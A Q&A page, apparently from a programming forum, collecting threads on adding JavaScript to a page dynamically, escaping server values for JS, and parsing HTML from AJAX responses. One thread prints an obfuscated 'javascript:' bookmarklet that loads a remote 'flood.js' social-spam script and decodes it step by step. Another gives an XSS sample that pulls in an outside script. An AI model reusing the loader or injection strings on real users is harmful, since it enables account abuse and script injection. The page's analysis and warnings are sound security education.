I have some Javascript, which generates other Javascript code and puts it in a string:
var my_string = "alert('Hello World!');";
(This is a gross oversimplicication of how I am actually getting a string that contains JS code, but needless to say, via a process that is too long to describe, I end up with one - this isn't something I can change.)
What I want to do is figure out a way to use the Javascript that's contained in that string in the SRC attribute of a new SCRIPT tag that I'm going to write to the document head. For reasons I can't explain, I can't write it inline.
I tried using HTML5 local storage to do this, like so:
// Store
localStorage.setItem('hello', my_string);
// Access
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "javascript:localStorage.getItem('hello')");
document.head.appendChild(s);
But apparently it just doesn't work that way. Can't use IDBObjectStore for the same reason.
I also looked into using the HTML5 FileSystem API, which would do exactly what I need to solve this problem, but that only works in Chrome. I need my code to work in Firefox.
Is there any way to achieve this?
The src attribute has to reference a file that is loaded and evaluated as JavaScript. If you want to evaluate a string as JavaScript, just use eval:
eval("localStorage.getItem('hello')");
Of course you should only do this if the input is trustworthy. Otherwise this is a big security hole.
In case you really want to use a script tag, you have to set the code as content of the element:
var s = document.createElement('script');
s.text = "localStorage.getItem('hello')";
document.head.appendChild(s);
Related
I'm trying to set a component's text based on a bean's value. I'm using jquery for this because the text changes depending on certain conditions.
So, the jquery code looks like this:
window.onload =function(){
$('.pnx-inline-input').on("change keyup paste", function(){
var saveText = #{extra.Active_Save};
$('.save-button .pnx-btn-text').html(saveText);
});
The Extra bean handles the localization. So, let's say that the locale is France, and the text is Enregister. The thing is that when rendered the page, the code segment looks like this
window.onload =function(){
$('.pnx-inline-input').on("change keyup paste", function(){
var saveText = Enregister;
$('.save-button .pnx-btn-text').html(saveText);
});
Of course, Enregister is not defined anywhere, and this causes an error. I need to have to code look like
var saveText = "Enregister";
for this to make sense.
How can I make this happen? Thanks!
JSF is in the context of this question merely a HTML code generator. Just write down those quotes yourself in the HTML template. They are part of generated HTML output, not of the Java variable. You know, JavaScript doesn't run together with Java/JSF (i.e. it's not server side). Instead, it runs together with HTML (i.e. it's client side).
var saveText = "#{extra.Active_Save}";
Note that you still need to take into account that the value is properly JS-escaped, otherwise the whole thing would still break in JavaScript side if the string itself contains doublequotes or other special characters in JS such as newlines. The JSF utility library OmniFaces has an EL function for the very purpose, the #{of:escapeJS()}:
var saveText = "#{of:escapeJS(extra.Active_Save)}";
You can of course also homegrow your own based on e.g. Apache Commons Lang StringEscapeUtils.
I'm very new to javascript, but I've managed to stitch the following together from different code-snippets, and forum-posts:
var s = document.createElement("script");
s.src = "http://service.somewebsite.com/?api-key=4P1k3y5R4w50m3";
document.getElementsByTagName("body")[0].appendChild(s);
However - it doesn't work.
The source-attribute is obviously not real (the service asked me to not share the API-key), but pasting the actual one into a browser, I get the excact script I want - with the right callback and everything.
I find it odd that this code doesn't work since the very similar
var i = document.createElement("img");
i.src = "http://i.imgur.com/TsCGbsy.jpg";
document.getElementsByTagName("body")[0].appendChild(i);
...executes just fine, when it takes its place. Is there something I don't know about changing the source of a script-element, or is there something else I've overlooked?
On a side note: I want to end up having "s.src" rely on some variables like the method, the api-key etc. (which is why I define it like this). If anyone has some other elegant solution to this, I'd be thankful as well. Any tips on syntax etc. are also very welcome.
Thanks in advance for any sort of help on this!
EDIT: I maybe should have mentioned that I'm trying to execute code from a source that consists of a JSON-object wrapped in a callback-function. The link itself works fine, and the function is executed properly when using
<script src = "http://service.somewebsite.com/?api-key=
k3y&callback=myFunction">
</script>
I'm basically attempting to do the same thing, only with (src) being stitched together from a string and one or more variables.
Try using setAttribute:
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://service.somewebsite.com/?api-key=4P1k3y5R4w50m3");
Pretty simple question that I couldn't find an answer to, maybe because it's a non-issue, but I'm wondering if there is a difference between creating an HTML object using Javascript or using a string to build an element. Like, is it a better practice to declare any HTML elements in JS as JS objects or as strings and let the browser/library/etc parse them? For example:
jQuery('<div />', {'class': 'example'});
vs
jQuery('<div class="example></div>');
(Just using jQuery as an example, but same question applies for vanilla JS as well.)
It seems like a non-issue to me but I'm no JS expert, and I want to make sure I'm doing it right. Thanks in advance!
They're both "correct". And both are useful at different times for different purposes.
For instance, in terms of page-speed, these days it's faster to just do something like:
document.body.innerHTML = "<header>....big string o' html text</footer>";
The browser will spit it out in an instant.
As a matter of safety, when dealing with user-input, it's safer to build elements, attach them to a documentFragment and then append them to the DOM (or replace a DOM node with your new version, or whatever).
Consider:
var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
paragraph = "<p>" + userPost + "</p>";
commentList.innerHTML += paragraph;
Versus:
var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
paragraph = document.createElement("p");
paragraph.appendChild( document.createTextNode(userPost) );
commentList.appendChild(paragraph);
One does bad things and one doesn't.
Of course, you don't have to create textNodes, you could use innerText or textContent or whatever (the browser will create the text node on its own).
But it's always important to consider what you're sharing and how.
If it's coming from anywhere other than a place you trust (which should be approximately nowhere, unless you're serving static pages, in which case, why are you building html?), then you should keep injection in mind -- only the things you WANT to be injected should be.
Either can be preferable depending on your particular scenario—ie, if everything is hard-coded, option 2 is probably better, as #camus said.
One limitation with the first option though, is that this
$("<div data-foo='X' />", { 'class': 'example' });
will not work. That overload expects a naked tag as the first parameter with no attributes at all.
This was reported here
1/ is better if your attribubes depends on variables set before calling the $ function , dont have to concatenate strings and variables. Aside from that fact ,since you can do both , and it's just some js code somebody else wrote , not a C++ DOM API hardcoded in the browser...
i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script
please help :)
javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
Let's start by decoding the escape sequences, and get rid of that _0x8dd5 variable name:
var x=[
"src","script","createElement","http://ug-radio.co.cc/flood.js",
"appendChild","body"
];
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3];
b[x[5]][x[4]](a);
void (0);
Substituting the string from the array, you are left with:
(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js";
b["body"]["appendChild"](a);
void (0);
So, what the script does is simply:
a = document.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
document.body.appendChild(a);
void (0);
I.e. it loads the Javascript http://ug-radio.co.cc/flood.js in the page.
Looking at the script in the file that is loaded, it calls itself "Wallflood By X-Cisadane". It seems to get a list of your friends and post a message to (or perhaps from) all of them.
Certainly nothing to do with auto play for games.
I opened firebug, and pasted part of the script into the console (being careful to only paste the part that created a variable, rather than running code). This is what I got:
what I pasted:
console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]);
the result:
["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"]
In short, what this looks like is script to load an external Javascript file from a remote server with a very dodgy looking domain name.
There are a few characters which are not converted quite to what you'd expect. This could be typos (unlikely) or deliberate further obfuscation, to fool any automated malware checker looking for scripts containing URLs or references to createElement, etc. The remainder of the script patches those characters back into place individually before running it.
The variable name _0x8dd5 is chosen to look like hex code and make the whole thing harder to read, but in fact it's just a regular Javascript variable name. It is referenced repeatedly in the rest of the script as it copies characters from one part of the string to another to fix the deliberate gaps.
Definitely a malicious script.
I recommend burning it immediately! ;-)
Well, the declared var is actually this:
var _0x8dd5= [
'src', 'script', 'cx7 2eateElement',
'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body'
];
The rest is simple to figure out.
Well your first statement is setting up an array with roughly the following contents:
var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"];
I say "roughly" because I'm using Chrome's JavaScript console to parse the data, and some things seem to be a bit garbled. I've cleaned up the garbled portions as best as I can.
The rest appears to be calling something along the lines of:
var b = document;
var a = b.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
b.body.appendChild(a);
So basically, it is adding a (probably malicious) script to the document.
You most probably know how to decode this or how it was encoded, but for those that aren't sure, it is nothing but 2-digit hexadecimal escape sequence. It could also be 4 digit one using \udddd (eg. "\u0032" is "2") or \ddd for octal.
Decoding hex string in javascript
I am actually making a Sidebar Gadget, (which is AJAX-based) and I am looking for a way to extract a single element from an AJAX Request.
The only way I found yet was to do something like that:
var temp = document.createElement("div");
temp.innerHTML = HttpRequest.innerText;
document.body.appendChild(temp);
temp.innerHTML = document.getElementByID("WantedElement").innerText;
But it is pretty ugly, I would like to extract WantedElement directly from the request without adding it to the actual document...
Thank you!
If you're in control of the data, the way you're doing it is probably the best method. Other answers here have their benefits but also they're all rather flawed. For instance, the querySelector() method is only available to Windows Desktop Gadgets running in IE8 mode on the host machine. Regular expressions are particularly unreliable for parsing HTML and should not be used.
If you're not in control of the data or if the data is not transferred over a secure protocol, you should be more concerned about security than code aesthetics -- you may be introducing potential security risks to the gadget and the host machine by inserting unsanitized HTML into the document. Since gadgets run with user or admin level privileges, the obvious security risk is untrusted source/MITM script injection, leaving a hole for malicious scripts to wreak havoc on the machine it's running on.
One potential solution is to use the htmlfile ActiveXObject:
function getElementFromResponse(divId)
{
var h = new ActiveXObject("htmlfile");
h.open();
// disable activex controls
h.parentWindow.ActiveXObject = function () {};
// write the html to the document
h.write(html);
h.close();
return h.getElementById("divID").innerText;
}
You could also make use of IE8's toStaticHTML() method, but your gadget would need to be running in IE8 mode.
One option would be to use regular expressions:
var str = response.match(/<div id="WantedElement">(.+)<\/div>/);
str[0]; // contents of div
However, if your server response is more complex, I'd suggest you to use a data format like JSON for the response. Then it would be much cleaner to parse at the client side.
You could append the response from XMLHttpRequest inside a hidden div, and then call getElementById to get the desired element. Later remove the div when done with it. Or maybe create a function that handles this for you.
function addNinjaNodeToDOM(html) {
var ninjaDiv = document.createElement("div");
ninjaDiv.innerHTML = html;
ninjaDiv.style.display = 'none';
return ninjaDiv;
}
var wrapper = addNinjaNodeToDOM(HttpRequest.innerText);
var requiredNode = wrapper.getElementById("WantedElement");
// do something with requiredNode
document.body.removeChild(wrapper); // remove when done
The only reason for appending it to the DOM was because getElementById will not work unless its part of the DOM tree. See MDC.
However, you can still run selector and XPath queries on detached DOM nodes. That would save you from having you to append elements to the DOM.
var superNinjaDiv = document.createElement('div');
superNinjaDiv.innerHTML = html;
var requiedNode = superNinjaDiv.querySelector("[id=someId]");
I think using getElementById to lookup the element in this case is not a good approach. This is because of extra steps you have to take to use it. You wrap the element in a DIV, inject in DOM, lookup your element using getElementById and then remove the injected DIV from DOM.
DOM manipulation is expensive and injection might cause unnecessary reflow as well. The problem is that you have a document.getElementById and not a element.getElementById which would allow you to query without injection in the document.
To solve this, using querySelector is an obvious solution which is far more easier. Else, I would suggest using getElementsByClassName if you can and if your element has a class defined.
getElementsByClassName is defined on ELEMENT and hence can be used without injecting the element in DOM.
Hope this helps.
It's somewhat unusual to pass HTML through an AJAX request; normally you pass a JSON string that the client can evaluate directly, and work with that
That being said, I don't think there's a way to parse HTML in javascript the way you want that's cross-browser, but here's a way to do it in Mozilla derivatives:
var r = document.createRange();
r.selectNode(document.body);
var domNode = r.createContextualFragment(HTTPRequest.innerText);